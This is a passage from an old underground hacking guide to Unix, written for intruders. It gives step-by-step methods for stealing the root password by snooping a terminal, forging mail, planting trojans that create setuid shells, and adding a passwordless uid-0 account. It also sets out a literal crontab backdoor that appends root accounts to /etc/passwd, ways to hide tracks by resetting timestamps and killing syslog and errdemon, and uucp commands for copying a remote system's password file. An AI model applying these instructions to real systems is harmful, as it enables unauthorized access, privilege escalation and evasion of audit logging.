contents to your screen, but will also allow you to enter commands). Once the
|
|
person logs off, ownership of his terminal device file will revert to root
|
|
(terminal device files are temporarily owned by the account logged in under
|
|
them), but since you had the proper permissions when you started the read
|
|
process, you can still continue to view the contents of that terminal file, and
|
|
can watch, online, as the next use logs in. There is also one other trick that
|
|
can sometimes be used to gain the root password, but should be exercised as a
|
|
last resort, since it involved revealing your identity as a hacker to the
|
|
superuser. On many systems, the superuser also has a normal user account that he
|
|
uses for personal business, and only uses the root account for system management
|
|
purposes. (This is, actually, a rather smart security move, as it lessens the
|
|
chances of, say, things like his executing a trojan horse program while under the
|
|
root account, which, to say the least, could be disastrous [from his point of
|
|
view].) If you can obtain a uid shell for his user account, simply execute a read
|
|
process of his terminal file in the background (while under the uid shell), and
|
|
then drop back into your normal shell. Then send him a write message like:
|
|
|
|
I'm going to format your winchesters
|
|
|
|
When he uses the su command to go to the superuser account to kick you off the
|
|
system, you can sit back and watch him type in the root password. (This should
|
|
only be done if you have more than one account on the system- remember, many
|
|
systems will not let you log into a superuser account remotely, and if the only
|
|
account you have is a superuser account, you are effectively locked out of the
|
|
system.)
|
|
|
|
Mail Fruad
|
|
----------
|
|
The TCP/IP protocol is a common protocol for file transfers between Unix
|
|
systems, and between Unix and other operating systems. If the Unix system
|
|
you are on features TCP/IP file transfers, it will have the telnet program on-
|
|
line, usually in the directory /bin. This can be used to fake mail from any
|
|
user on the system. Type "telnet" to execute the telnet program. You should
|
|
see:
|
|
|
|
Telnet>
|
|
|
|
At this prompt, type "open [name] 25", where name is the uucp network name of
|
|
the system you are on. This will connect you to the system's 25th port, used to
|
|
receive network mail. Once connected, type:
|
|
|
|
rcpt to: [username]
|
|
|
|
Where username is the name of the user you wish to send mail to. Next, type:
|
|
|
|
mail from: [user]
|
|
|
|
Where user is the name of the use you wish the mail to appear from. You can
|
|
also specify a non-existant user. You can also fake network mail from a user on
|
|
another system. For information on the format of the address, see the section
|
|
on the uucp facilities. Then type:
|
|
|
|
data
|
|
|
|
You will be prompted to enter the message. Enter "." on a blank line to end and
|
|
send the mail. When you'e finished sending mail, type "quit" to exit.
|
|
|
|
Thanks to Kid&CO. from Private Sector/2600 Magazine for that novel bit
|
|
of information.
|
|
|
|
UNIX Trojan Horses
|
|
------------------
|
|
This is an old, OLD subject, and there's little original material to add about
|
|
it. Trojan horses are programs that appear to execute one function, but actually
|
|
perform another. This is perhaps the most common means of hacking Unix.
|
|
One of the easiest means of setting up a Unix trojan horse is to place a program
|
|
named after a system command, such as ls, "in the way" of someone's search path.
|
|
For instance, if a user's searchpath is ".:/usr/bin", which means that the system
|
|
searches the user's current directory for a command first, you could place a
|
|
shell script in the user's home directory called "ls" that, when executed,
|
|
created a copy of the shell, set the new shell file's uid and gid bits, echo an
|
|
error message (such as "lsa: not found", leading the user to think he mistyped
|
|
the command and the offending character was not echoed, due to line noise or
|
|
whatever), and delete itself. When the user executes the ls command in his
|
|
directory, the uid shell is created. Another good idea is to set the name of the
|
|
trojan to a command in the user's login file, have it make the uid shell, execute
|
|
the real command, and then delete itself.
|
|
Another good way to set up a trojan horse is to include a few lines in a user's
|
|
login file. Simply look at the user's password file entry to find out which shell
|
|
he logs in under, and then modify the appropriate login file (or create one if it
|
|
doesn't exist) to create a uid shell when the user logs on.
|
|
If you can modify a user's file in the directory /usr/spool/cron/crontabs, you
|
|
can add an entry to create a uid shell. Just specify * * * * * as the times, and
|
|
wait about 1-2 minutes. In 1 minute, the cron utility will execute the commands
|
|
in the user's crontab file. Then you can delete the entry. Again, if the user
|
|
doesn't have a file in /usr/spool/cron/crontabs, you can create one.
|
|
One last note- be sure you give the trojan horse execute permissionsm, otherwise
|
|
the victim will receive the message "[filename]- cannot execute"... Kind of a
|
|
dead giveaway.
|
|
|
|
Changing UID Programs
|
|
---------------------
|
|
If you have write access to a uid file, you can easily modify it to become a
|
|
shell. First, copy the file. Then type:
|
|
|
|
cat /bin/sh > [uid file]
|
|
|
|
This will replace the file's contents with a shell program, but the uid bit
|
|
will remain set. Then execute the file and create a well-hidden uid shell, and
|
|
replace the subverted uid file with the copy.
|
|
|
|
Adding An Account To a UNIX System
|
|
----------------------------------
|
|
To add an account to a Unix system, you must have write access to the password
|
|
file, or access to the root account so that you can change the password file's
|
|
protections. To add an account, simply edit the file with the text file editor,
|
|
edit (or any of the other Unix editors, if you wish). Add anentry like this:
|
|
|
|
[username]::[user#]:[group#]:[description]:[home directory]:[pathname of shell]
|
|
|
|
Notice that the password field is left blank. To set the password, type:
|
|
|
|
passwd [username]
|
|
|
|
You will then be prompted to enter and verify a password for the account.
|
|
If you wish the account to have superuser privileges, it must have a user
|
|
number of zero.
|
|
|
|
UNIX Backdoor
|
|
-------------
|
|
A backdoor is a means of by-passing a system's normal security for keeping
|
|
unauthorized users out. For all the talk about back doors, they are rarely
|
|
accomplished. But creating a backdoor in Unix System V is really quite easy. It
|
|
simply requires adding a few entries to the file /usr/lib/crontab or
|
|
/usr/spool/cron/crontabs/root. (Again, if the file doesn't exist, you can create
|
|
it.) Add these lines, which will create 2 accounts on the system, one a user
|
|
account ("prop") and one a superuser account ("prop2"), at 1 am system time every
|
|
night, and delete them at 2 am every night.
|
|
|
|
0 1 * * * chmod +w /etc/passwd
|
|
1 1 * * * echo "prop::1:1::/:/bin/sh" >> /etc/passwd
|
|
2 1 * * * echo "prop2::0:0::/:/bin/sh" >> /etc/passwd
|
|
20 1 * * * grep -v "prop*:" /etc/passwd > /usr/spool/uucppublic/.p
|
|
0 2 * * * cat /usr/spool/uucppublic/.p > /etc/passwd
|
|
10 2 * * * chmod -w /etc/passwd
|
|
15 2 * * * rm /usr/spool/uucppublic/.p
|
|
|
|
Covering Your Tracks
|
|
--------------------
|
|
Naturally, you want to keep your cover, and not leave any trace that there is a
|
|
hacker on the system. This section will give you some tips on how to do just
|
|
that. First of all, the Unix system keeps track of when a file was last modified
|
|
(see the information on the command ls -l in the section on file and directory
|
|
protections). You don't want anyone noticing that a file has been tampered with
|
|
recently, so after screwing around with a file, if at all possible, you should
|
|
return its last modified date to its previous value using the touch command. The
|
|
syntax for the touch command is:
|
|
|
|
touch hhmmMMdd [file]
|
|
|
|
Where hh is the hour, mm is the minute, MM is the month, and dd is the day.
|
|
[file] is the name of the file you wish to change the date on.
|
|
What usually gives hackers away are files they create on a system. If you must
|
|
create files and directories, make use of the hidden files feature. Also, try to
|
|
hide them in directories that are rarely "ls"'d, such as /usr/spool/lp,
|
|
/usr/lib/uucp, etc (in other words, directories whose contents are rarely
|
|
tampered with).
|
|
Avoid use of the mail facilities, as anyone with the proper access can read the
|
|
/usr/mail files. If you must send mail to another hacker on the system, write the
|
|
message into a text file first, and encrypt it. Then mail it to the recipient,
|
|
who can save the message without the mail header using the w option, and decrypt
|
|
it.
|
|
Rather than adding additional superuser accounts to a system, I've found it
|
|
better to add simple user accounts (which don't stand out quite as much) and use
|
|
a root uid shell (judiciously hidden in a rarely used directory) whenever I need
|
|
superuser privileges. It's best to use a user account as much as possible, and
|
|
only go to the superuser account whenever you absolutely need superuser priv's.
|
|
This may prevent damaging accidents. And be careful when creating a home
|
|
directory for any accounts you add. I've always found it better to use existing
|
|
directories, or to add a hidden subdirectory to a little-tampered with directory.
|
|
|
|
Many systems have "watchdog" programs which log off inactive accounts after a
|
|
certain period of time. These programs usually keep logs of this kind of
|
|
activityl. Avoid sitting on the sitting doing nothing for long periods of time.
|
|
While using some of the methods described in this file, you may replace a user's
|
|
file with a modified copy. This copy will be owned by your account and group
|
|
instead of the account which owned the original. You can change the group back to
|
|
the original owner's group with the chgrp command, the format of which is:
|
|
|
|
chgrp [groupname] [file]
|
|
|
|
And change the owner back to the original with the chown command:
|
|
|
|
chown [user] [file]
|
|
|
|
When you change ownership or group ownership of a file, the uid and gid bits
|
|
respectively are reset, so you can't copy the shell, set its uid bit, and change
|
|
its owner to root to gain superuser capabilities.
|
|
Above all, just be careful and watch your step! Unix is a very flexible
|
|
operating system, and even though it comes equipped with very little in the way
|
|
of accounting, it is easy to add your own security features to it. If you do
|
|
something wrong, such as attempting to log in under a superuser account
|
|
remotely only to see "not on console-goodbye", assume that a note is made of
|
|
the incident somewhere on the system. Never assume that something [anything!]
|
|
won't be noticed. And leave the system and its files exactly as you found them.
|
|
In short, just use a little common sense.
|
|
If you're a real klutze, you can turn off the error logging (if you have root
|
|
capabilities). I will include information on System V error logging, which most
|
|
Unix clones will have error logging facilities similar to, and on Berkely
|
|
Standard Distribution (BSD) Unix error logging.
|
|
|
|
Berkely (BSD) UNIX Error Logging
|
|
--------------------------------
|
|
Type "cat /etc/syslog.pid". This file contains the
|
|
process number of the syslog (error logging) program. Kill this process, and
|
|
you stop the error logging. Remember to start the logging process back up after
|
|
you're through stumbling around.
|
|
If you want to see where the error messages are sent, type:
|
|
|
|
cat /etc/syslog.config
|
|
|
|
Entries are in the form:
|
|
|
|
#file
|
|
|
|
Such as:
|
|
|
|
5/etc/errlogfile
|
|
|
|
The number is the priority of the error, and the file is the file that errors
|
|
of that priority or higher are logged to. If you see an entry with /dev/console
|
|
as its log file, watch out! Errors of that priority will result in an error
|
|
message being displayed on the system console. Sometimes, a list of usernames
|
|
will follow an entry for errorlogging. This means that these users will be
|
|
notified of any priorities of that level or higher.
|
|
There are 9 levels of priority to errors, and an estimation of their
|
|
importance:
|
|
|
|
9 -Lowly errors. This information is just unimportant junk used to debug
|
|
small errors in the system operation that usually won't affect its
|
|
performance. Usually discarded without a glance.
|
|
|
|
8 -Usually just thrown away. These messages provide information on the
|
|
system's operation, but nothing particularly useful.
|
|
|
|
7 -Not greatly important, but stored for informational purposes.
|
|
|
|
6 -System errors which can be recovered from.
|
|
|
|
5 -This is the priority generally given to errors caused by hackers-
|
|
not errors, but important information, such as security violatins:
|
|
bad login and su attempts, attempts to access files without proper
|
|
permissions, etc.
|
|
|
|
4 -Errors of higher priority than 6.
|
|
|
|
3 -Major hardware and software errors.
|
|
|
|
2 -An error that requires immediate attention...very serious.
|
|
|
|
1 -***<<<(((CRAAASSSHHH!!!)))>>>***-
|
|
|
|
System V Error Logging
|
|
----------------------
|
|
System V error logging is relatively simple compared to Berkely Unix
|
|
error logging. The System V error logging program is errdemon. To find the
|
|
process id of the error logging program, type "ps -uroot". This will give you a
|
|
list of all the processes run under the root id. You will find /etc/errdemon
|
|
somewhere in the list. Kill the process, and no more error logging. The
|
|
errdemon program is not as sophisticated as BSD Unix's syslog program: it only
|
|
logs all errors into a file (the default file is /usr/adm/errfile, but another
|
|
file can be specified as an argument to the program when it is started).
|
|
Errdemon does not analyze the errors as syslog does, it simply takes them from
|
|
a special device file called /dev/error and dumps them into the error logging
|
|
file. If you wish to examine the error report, use the errpt program, which
|
|
creates a report of the errors in the error logging file and prints it out on
|
|
the stanard output. The format is: errpt [option] [error logging file]. For a
|
|
complete report of all errors, use the -a option:
|
|
|
|
errpt -a /usr/adm/errfile
|
|
|
|
The output is very technical, however, and not of much use to the hacker.
|
|
|
|
UUCP Networking
|
|
---------------
|
|
This section will cover the workings and use of the Unix uucp facilities. UUCP
|
|
stands for Unix to Unix Copy. The uucp utilities are for the exchange of files
|
|
between Unix systems. There also facilities for users to dial out and interact
|
|
with remote systems, and for executing limited commands on remote systems without
|
|
logging in.
|
|
|
|
Outward Dialing
|
|
---------------
|
|
The command for outward dialing is cu. The format is:
|
|
|
|
cu -n[phone number]
|
|
|
|
Such as:
|
|
|
|
cu -n13125285020
|
|
|
|
On earlier versions of Unix, the format was simply "cu [phone number]".
|
|
|
|
Note, that the format of the phone number may be different from system to
|
|
system- for instance, a system that dials outward off of a pbx may need to have
|
|
the number prefixed by a 9, and one that uses an extender may not need to have
|
|
the number (if long distance) preceded by a 1. To dial out, however, the system
|
|
must have facilities for dialing out. The file /usr/lib/uucp/Devices (called
|
|
L-devices on earlier systems) will contain a list of the available dialout
|
|
devices. Entries in this file are in the format:
|
|
|
|
[device type] [device name] [dial device] [linespeed] [protocol, optional]
|
|
|
|
Device type is one of 2 types: ACU and DIR. If ACU, it is a dialout device. DIR
|
|
is a direct connection to a specific system. Device name is the name of the
|
|
base name of the dialout device's device file, which is located in the /dev
|
|
directory. Dial device is usually an unused field. It was used on older systems
|
|
where one device (device name in the above example) was used to exchange data,
|
|
and another device (dial device, above) did the telephone dialing. In the age
|
|
of the autodial modem, this is a rarely used feature. The next, linespeed, is
|
|
the baud rate of the device, usually either 300, 1200, or 2400, possibly 4800
|
|
or 9600 if the device is a direct connection. The protocol field is for
|
|
specifying the communications protocol. This field is optional and generally
|
|
not used. Here is an example entry for a dialout device and a direct
|
|
connection:
|
|
|
|
ACU tty99 unused 1200
|
|
DIR tty03 unused 9600
|
|
|
|
If a dialout device is capable of more than one baud rate, it must have 2
|
|
entries in the Devices (L-devices) file, one for each baud rate. Note, that the
|
|
device in the above example is a tty- usually, dialout device names will be in
|
|
the form tty##, as they can be used both for dialing out, and receiving
|
|
incoming calls. The device can be named anything, however.
|
|
|
|
There are several options worth mentioning to cu:
|
|
-s Allows you to specify the baud rate. There must be a device in the
|
|
Devices file with this speed.
|
|
-l Allows you to specify which device you wish to use.
|
|
|
|
If you wish to connect to a system that there is a direct connection with,
|
|
simply type "cu -l[device]". This will connect you to it. You can also do that
|
|
do directly connect to a dialout device, from which point, if you know what
|
|
commands it accepts, you can give it the dial commands directly.
|
|
|
|
Using the cu command is basically the same as using a terminal program. When
|
|
you use it to connect to a system, you then interact with that system as if you
|
|
dialed it directly from a terminal. Like any good terminal program, the cu
|
|
"terminal program" provides facilities for file transfers, and other commands.
|
|
Here is a summary of the commands:
|
|
|
|
~. -Disconnect from the remote system.
|
|
|
|
~! -Temporarily execute a shell on the local system. When you
|
|
wish to return to the remote system, press control-D.
|
|
|
|
~![cmd] -Execute a command on the local system. Example: ~!ls -a
|
|
|
|
~$[cmd] -Execute a command on the local system and send the output to
|
|
the remote system.
|
|
|
|
~%put f1 f2 -Sends a file to the remote system. F1 is the name of the
|
|
file on the local system, and f2 is the name to be given the
|
|
copy made on the remote system.
|
|
|
|
~take f1 f2 -Copies a file from the remote to the local system. F1 is
|
|
the name of the remote file, and f2 is the name to be given
|
|
to the local copy.
|
|
|
|
Note, that the commands for transferring output and files will only work if you
|
|
are communicating with another Unix system.
|
|
You may be wondering how you can find out the format for the phone number, which
|
|
is necessary to dial out. The format can be obtained from the file
|
|
/usr/lib/uucp/Systems (called L.sys on earlier Unix systems). This file contains
|
|
the uucp network names and phone numbers of other Unix systems, as well as other
|
|
information about them. This file contains the information needed to carry out
|
|
uucp file transfers with the systems listed within it. The entries are in the
|
|
format:
|
|
|
|
[system name] [times] [devicename] [linespeed] [phone number] [login info]
|
|
|
|
System name is the name of the system.
|
|
Times is a list of the times when the system can be contacted. This field will
|
|
usually just have the entry "Any", which means that the system can be contacted
|
|
at any time. Never means that the system can never be called. You can also
|
|
specify specific days and times when the system can be contacted. The days are
|
|
abbreviated like this:
|
|
Su Mo Tu We Th Fr Sa
|
|
Where Su is Sunday, Mo is Monday, etc. If the system can be called on more than
|
|
one day of the week, you can string the days together like this:SuMoTu for
|
|
Sunday, Monday, and Tuesday. You can also specify a range of hours when the
|
|
system can be called, in the 24 hour format, like this: Su,0000-0100 means that
|
|
the system can be called Sunday from midnight to 1am. The week days (Monday
|
|
through Friday) can be abbreviated as Wk.
|
|
Device name is the name of the device to call the system with. If the system is
|
|
directly connected, this file will contain the base name of the device file of
|
|
the device which connects it to the local system. If the system has to be
|
|
dialed over the phone, this field will be "ACU".
|
|
Linespeed is the baud rate needed to connect to the system. There must be a
|
|
device available with the specified baud rate to contact the system.
|
|
Phone number is the phone number of the system. By looking at these entries,
|
|
you can obtain the format for the phone number. For instance, if this field
|
|
contained "913125285020" for an entry, you would know that the format would be
|
|
9+1+area code+prefix+suffix.
|
|
The login field contains information used for uucp transfers, and will be
|
|
discussed in detail later.
|
|
Sometimes you will see alphabetic or other strange characters in the phone
|
|
number field. Sometimes, these may be commands for the particular brand of modem
|
|
that the system is using to dialout, but other times, these may actually be a
|
|
part of the phone number. If so, the meaning of these characters called tokens
|
|
can be found in the file /usr/lib/uucp/Dialcodes (called L-dialcodes on earlier
|
|
systems). Entries in this file are in the form:
|
|
|
|
token translation
|
|
|
|
For example:
|
|
|
|
chicago 312
|
|
|
|
Would mean that the token chicago means to dial 312. So, if the phone number
|
|
field of a Systems entry was:
|
|
|
|
chicago5285020
|
|
|
|
It would mean to dial 3125285020.
|
|
|
|
You can add an entry to the Systems file for systems that you wish to call
|
|
frequently. Simply edit the file using one of the Unix system's editors, and
|
|
add an entry like this:
|
|
|
|
bluehawaii Any ACU 9600 15134591278 unused
|
|
|
|
And then any time you wished to call the BBS Ripco, you would type:
|
|
|
|
cu bluehawaii
|
|
|
|
And the system would do the dialing for you, drawing the phone number from the
|
|
entry for Blue Hawaii in the Systems file.
|
|
|
|
How UUCP Transfer Work
|
|
-----------------------
|
|
This section will detail how a uucp file transfer works. When you issue
|
|
the command to transfer a file to/from a remote system, the local system dials
|
|
out to the remote system. Then, using the information contained in the login
|
|
field of the Systems file, it logs into an account on the remote system, in
|
|
exactly the same manner as you would log into a Unix system. Usually, however,
|
|
uucp accounts use a special shell, called uucico, which implements certain
|
|
security features which (are supposed to) keep the uucp account from being used
|
|
for any other purpose than file transfers with another Unix system. (Note: not
|
|
ALL uucp accounts will use this shell.) If you've ever logged into the uucp
|
|
account on the system and received the message, "Shere=[system name]", and the
|
|
system wouldn't respond to any of your input, that account was using the uucico
|
|
shell, which prevents the account from being used as a normal "user" account.
|
|
The local system then requests the transfer, and if security features of the
|
|
remote system which will be discussed later do not prevent the transfer, the
|
|
file will be copied to (or from if you requested to send a file) the local
|
|
system. The account is then logged off of the remote system, and the connection
|
|
is dropped.
|
|
|
|
Adding a Login Field to a System Entry
|
|
--------------------------------------
|
|
Many superusers feel that if the uucp account uses the uucico shell, that it is
|
|
"secure". Because of this, they may ignore other uucp security measures, and
|
|
probably not give the account a password. If you find such a system, you can add
|
|
an entry for the system to the Systems (L.sys) file of another Unix system and
|
|
try to, say, transfer a copy of its password file. To do so, simply follow the
|
|
outline in the section on cu for how to add an entry to the Systems file. That
|
|
will cover everything but how to add the login field, which is covered in this
|
|
section.
|
|
The login section consists of expect/sendsubfields. For example, here is an
|
|
example login field:
|
|
|
|
ogin: uucp assword: uucp
|
|
|
|
The first subfield is what is expected from the remote system, in this case
|
|
"ogin:". This means to expect the login prompt, "Login:". Note, that you do not
|
|
have to enter the complete text that the remote system sends, the text sent
|
|
from the remote system is scanned left to right as it is sent until the
|
|
expected text is found. The second subfield contains the local system's
|
|
response, which is sent to the remote system. In this case, the local system
|
|
sends "uucp" when it receives the login prompt. Next, the local system scans
|
|
the output from the remote system until it receives "assword:" ("password:"),
|
|
then sends "uucp" (the password, in this example, for the uucp account).
|
|
Because of line noise or other interference, when the local system connects to
|
|
the remote, it may not receive the expected string. For this possibility, you
|
|
may specify the expected string several times, like this:
|
|
|
|
ogin:-ogin: uucp assword:-assword: uucp
|
|
|
|
The - separates that if the expected string is not received, to expect the
|
|
string specified after the hyphen. Sometimes, you may need to send a special
|
|
character, such as kill or newline, to the system if the expected string is not
|
|
received. You can do that like this:
|
|
|
|
ogin:-BREAK-ogin: uucp assword: uucp
|
|
|
|
The -BREAK- means that if ogin: isn't received the first time, to send a break
|
|
signal to the remote system, and then expect ogin: again. Other common entries
|
|
are:
|
|
|
|
ogin:-@-ogin: Send a kill character if the expected string isn't
|
|
received the first time.
|
|
ogin:-EOT-ogin: Send a control-D if the expected string isn't received.
|
|
ogin:--ogin: Send a null character if the expected string isnt'
|
|
received.
|
|
|
|
If the system you wish to transfer files with doesn't send anything when you
|
|
first connect to it, (say, you have to press return first), the first expect
|
|
entry should be "" (nothing), and the first send field should be \r (a return
|
|
character). There are certain characters, like return, which are represented by
|
|
certain symbols or combinations of characters. Here is a list of these:
|
|
|
|
\r -Return.
|
|
@ -Kill.
|
|
- -Null/newline character.
|
|
"" -Nothing.
|
|
|
|
Unusual Login Entries
|
|
---------------------
|
|
Sometimes, the login entry for a system might contain more than just fields to
|
|
expect the login prompt, send the username, expect the password prompt, and send
|
|
the password. For instance, if you have to go through a multiplexer to get to the
|
|
system, the login field would contain a subfield to select the proper system from
|
|
the multiplexer.
|
|
Sometimes, on systems, that use the Hayes smartmodem to dial out, the phone
|
|
number field may be left unused (will contain an arbitrary entry, such as
|
|
the word "UNUSED"), and the dialing command will be contained in the login
|
|
field. For example:
|
|
|
|
bluehawaii Any ACU 9600 UNUSED "" ATDT15134591278 CONNECT \r ernumber: new
|
|
|
|
So, when you try to transfer a file with a Unix system called "bluehawaii":
|
|
"UNUSED" is sent to the Hayes smartmodem. Of course, this is not a valid Hayes
|
|
command, so it is ignored by the modem. Next, the system moves the login field.
|
|
The first expect subfield is "", which means to expect nothing. It then sends
|
|
the string "ATDT15134591278", which is a Hayes dialing comand, which will make
|
|
the modem dial 15134591278. When the string "CONNECT" is received (which is
|
|
what the smartmodem will respond with when it connects), the system sends a
|
|
carriage return and waits for the "Usernumber:" prompt. When it receives that,
|
|
it sends "new". This completes the login.
|
|
|
|
UUCP Syntax
|
|
-----------
|
|
Once you've completed an entry for the Unix system you wish to transfer
|
|
files with, you can issue the uucp command, and attempt the transfer. The
|
|
syntax to copy a file from the remote system is:
|
|
|
|
uucp remote![file pathname] [local pathname]
|
|
|
|
Where remote is the name of the system you wish to copy the file from, [file
|
|
pathname] is the pathname of the file you wish to copy, and [local pathname] is
|
|
the pathname of the file on the local system that you wish to name the copy
|
|
that is made on the local system.
|
|
To transfer a file from the local system to the remote system, the syntax is:
|
|
|
|
uucp [local pathname] remote![file pathname]
|
|
|
|
Where [local pathname] is the file on the local system that you wish to
|
|
transfer to the remote system, remote is the name of the remote system, and
|
|
[file pathname] is the pathname you wish to give to the copy to be made on the
|
|
remote system.
|
|
|
|
So, to copy the bluehawaii system's password file, type:
|
|
|
|
uucp bluehawaii!/etc/passwd /usr/spool/uucppublic/ripcofile
|
|
|
|
Which will, hopefully, copy the password file from ripco into a file on the
|
|
local system called /usr/spool/uucppublic/ripcofile. The directory
|
|
/usr/spool/uucppublic is a directory set up especially for the reception of
|
|
uucp-transferred files, although you can have the file copied to any directory
|
|
(if the directory permissions don't prevent it).
|
|
|
|
Debugging UUCP Procedures
|
|
-------------------------
|
|
So, what if your transfer did not go through? Well, this section will detail how
|
|
to find out what went wrong, and how to correct the situation.
|
|
|
|
UULOG
|
|
-----
|
|
The uulog command is used to draw up a log of transactions with remote systems.
|
|
You can either draw up the entries by system name, or the name of the user who
|
|
initiated the transaction.
|
|
For our purposes, we only want to draw up the log by system name. The format
|
|
is:
|
|
|
|
uulog -s[system name]
|
|
|
|
Now, this will pull up the logs for ALL transactions with this particular
|
|
system. We only want the logs for the last attempted transaction with the
|
|
system. Unfortunately, this can't be done, you'll just have to sort through the
|
|
logs until you reach the sequence of the last transaction. If the logs extend
|
|
back a long time, say about a week, however, you can use the grep command to
|
|
call up the logs only for a certain date:
|
|
|
|
uulog -s[system] | grep mm/dd-
|
|
|
|
Where mm is the month (in the form ##, such as 12 or 01) and dd is the day, in
|
|
the same form). This takes the output of the uulog command, and searches
|
|
through it with the grep command and only prints out those entries which
|
|
contain the date the grep command is searching for. The log entries will be in
|
|
the form:
|
|
|
|
[username] [system] (month/day-hour:minute-pid) DESCRIPTION
|
|
|
|
Where:
|
|
|
|
username -Is the userid of the account that initiated the transaction.
|
|
system -Is the name of the system that the transaction was attempted
|
|
with.
|
|
month/day -Date of transaction.
|
|
hour:minute -Time of transaction.
|
|
job number -The transfer's process id.
|
|
DESCRIPTION -The log message.
|
|
|
|
An example of a typical log entry:
|
|
|
|
root ripco (11/20-2:00-1234) SUCCEEDED (call to ripco)
|
|
|
|
In the above example, the root account initiated a transaction with the Ripco
|
|
system. The system was contacted on November 20, at 2:00. The job number of the
|
|
transaction is 1234.
|
|
|
|
Here is an explanation of the various log messages you will encounter, and
|
|
their causes:
|
|
|
|
1. SUCCEEDED (call to [system name])
|
|
|
|
The system was successfully contacted.
|
|
|
|
2. DIAL FAILED (call to [system name])
|
|
|
|
Uucp failed to contact the system. The phone number entry for the system in the
|
|
Systems file may be wrong, or in the wrong format.
|
|
|
|
3. OK (startup)
|
|
|
|
Conversation with the remote system has been initiated.
|
|
|
|
4. LOGIN FAILED
|
|
|
|
Uucp was unable to log into the remote system. There may be an error in the
|
|
login field in the entry for the remote system in the Systems file, or line
|
|
noise may have caused the login to fail.
|
|
|
|
5. WRONG SYSTEM NAME
|
|
|
|
The system's entry in the Systems file has the wrong name for the system at the
|
|
phone number specified in the entry.
|
|
|
|
6. REMOTE DOES NOT KNOW ME
|
|
|
|
The remote system does not recognize the name of the local system, and will not
|
|
perform transactions with an unknown system (some will, some won't...see the
|
|
section on uucp security).
|
|
|
|
7. REQUEST ([remote file] --> [local file] username)
|
|
|
|
The file transfer has been requested.
|
|
|
|
8. OK (conversation complete)
|
|
|
|
The transfer has been completed.
|
|
|
|
9. ACCESS DENIED
|
|
|
|
Security measures prevented the file transfers.
|
|
If you get this error, you will receive mail on the local system informing you
|
|
that the transfer was denied by the remote.
|
|
|
|
10. DEVICE LOCKED
|
|
|
|
All the dialout devices were currently in use.
|
|
|
|
|
|
|
|
A successful transaction log will usually look like this:
|
|
|
|
root bluehawaii (11/20-2:00-1234) SUCCEEDED (call to bluehawaii)
|
|
root bluehawaii (11/20-2:01-1234) OK (startup)
|
|
root bluehawaii (11/20-2:01-1234) REQUEST (bluehawaii!/etc/passwd -->
|
|
/bluehawaiifile root)
|
|
root bluehawaii (11/20-2:03 1234) OK (conversation complete)
|
|
|
|
When an error occurs during a transfer with a system, a status file is
|
|
created for that system, and remains for a set period of time, usually about an
|
|
hour. During this time, that system cannot be contacted. These files, depending
|
|
on which version of Unix you are on, will either be in the directory
|
|
/usr/spool/uucp, and have the form:
|
|
STST..[system name]
|
|
or will be in the directory /usr/spool/uucp/.Status, and have the same name as
|
|
the system. These status files will contain the reason that the last transfer
|
|
attempt with the system failed. These files are periodically purged, and if you
|
|
wish to contact the system before its status file is purged, you must delete
|
|
its status file.
|
|
The files containing the failed transfer request will also remain. If you are
|
|
using the latest version of System V, these files will be in a subdirectory of
|
|
the directory /usr/spool/uucp. For instance, if the system is called bluehawaii,
|
|
the files will be in the directory /usr/spool/uucp/bluehawaii. On other systems,
|
|
these files will be in the directory /usr/spool/uucp/C., or /usr/spool/uucp.
|
|
These files are in the form:
|
|
|
|
C.[system name]AAAAAAA
|
|
|
|
Where [system name] is the name of the system to be contacted, and AAAAAA is a
|
|
the transfer's uucp job number. (You can see the transfer request's job number
|
|
by specifying the j option when you initiate the transfer. For example,
|
|
"uucp -j bluehawaii!/etc/passwd /usr/spool/uucppublic/bluehawaiifile" would
|
|
initiate the
|
|
transfer of the bluehawaii system's password file, and display the job number on
|
|
your screen.) Type "cat C.system[jobnumber]", and you will see something like
|
|
this:
|
|
|
|
R /etc/passwd /usr/pub/.dopeypasswd root -dc dummy 777 guest
|
|
|
|
On earlier versions of Unix, these files will be in the directory
|
|
/usr/spool/uucp/C. To find the file containing your transfer, display the
|
|
contents of the files until you find the proper one. If your transfer fails,
|
|
delete the transfer request file and the status file, correct any errors in the
|
|
Systems file or whatever, and try again!
|
|
|
|
UUCP Security
|
|
-------------
|
|
Obviously, uucp access to files has to be restricted. Otherwise, anyone, from
|
|
any system, could copy any file from the remote system. This section will cover
|
|
the security features of the uucp facilities.
|
|
The file /usr/lib/uucp/USERFILE contains a list of the directories that remote
|
|
systems can copy from, and local users can send files from to remote systems. The
|
|
entries in this file are in the format:
|
|
|
|
[local user],[system] [callback?] [directories]
|
|
|
|
Where:
|
|
|
|
local user -Is the username of a local account. This is for the purpose
|
|
of restricting which directories a local user can send files
|
|
from to a remote system.
|
|
system -Is the name of a remote system. This is for the purpose of
|
|
restricting which directories a specific remote system can
|
|
copy files from.
|
|
callback? -If there is a c in this field, then if a transfer request is
|
|
received from the system indicated in the system field, then
|
|
the local system (in this case, the local system is the system
|
|
which receives the transfer request, rather than the system
|
|
that initiated it) will hang up and call the remote back (at
|
|
the number indicated in the remote's entry in the local's
|
|
Systems file) before starting the transfer.
|
|
directories -Is a list of the pathnames of the directories that the remote
|
|
system indicated in the system field can copy files from, or
|
|
the local user indicated in the local user field can send files
|
|
from to a remote system.
|
|
|
|
A typical entry might look like:
|
|
|
|
local_dork,bluehawaii - /usr/spool/uucppublic
|
|
|
|
This means that the user local_dork can only send files to a remote system
|
|
which are in the directory /usr/spool/uucppublic, and the remote system
|
|
bluehawaii
|
|
can only copy files from the local system that are in the directory
|
|
/usr/spool/uucppublic. This is typical: often, remotes are only allowed to copy
|
|
files in that directory, and if they wish to copy a file from another portion
|
|
of the system, they must notify a user on the system to move that file to the
|
|
uucppublic directory. When a transfer request is received from a remote system,
|
|
the local system scans through the userfile, ignoring the local user field (you
|
|
can't restrict transfers with a particular user from a remote system...the copy
|
|
access granted to a system in the USERFILE is granted to all users from that
|
|
system), until it finds the entry for that system, and if the system is allowed
|
|
to copy to or from that directory, the transfer is allowed, otherwise it is
|
|
refused. If an entry for that system is not found, the USERFILE is scanned
|
|
until an entry with a null system name (in other words, an entry with no system
|
|
name specified) is found, and the directory permissions for that entry are
|
|
used. If no entry is found with a null system name, the transfer is denied.
|
|
There are a few quirks about USERFILE entries. First, if you have copy access
|
|
to a directory, you also have copy access to any directories below it in the
|
|
system tree. Thus, lazy system operators, rather than carefully limiting a
|
|
system's access to only the directories it needs access to, often just give
|
|
them copy access to the root directory, thus giving them copy access to the
|
|
entire system tree. Yet another mistake made by careless superusers is leaving
|
|
the system name field empty in the entries for the local users. Thus, if a
|
|
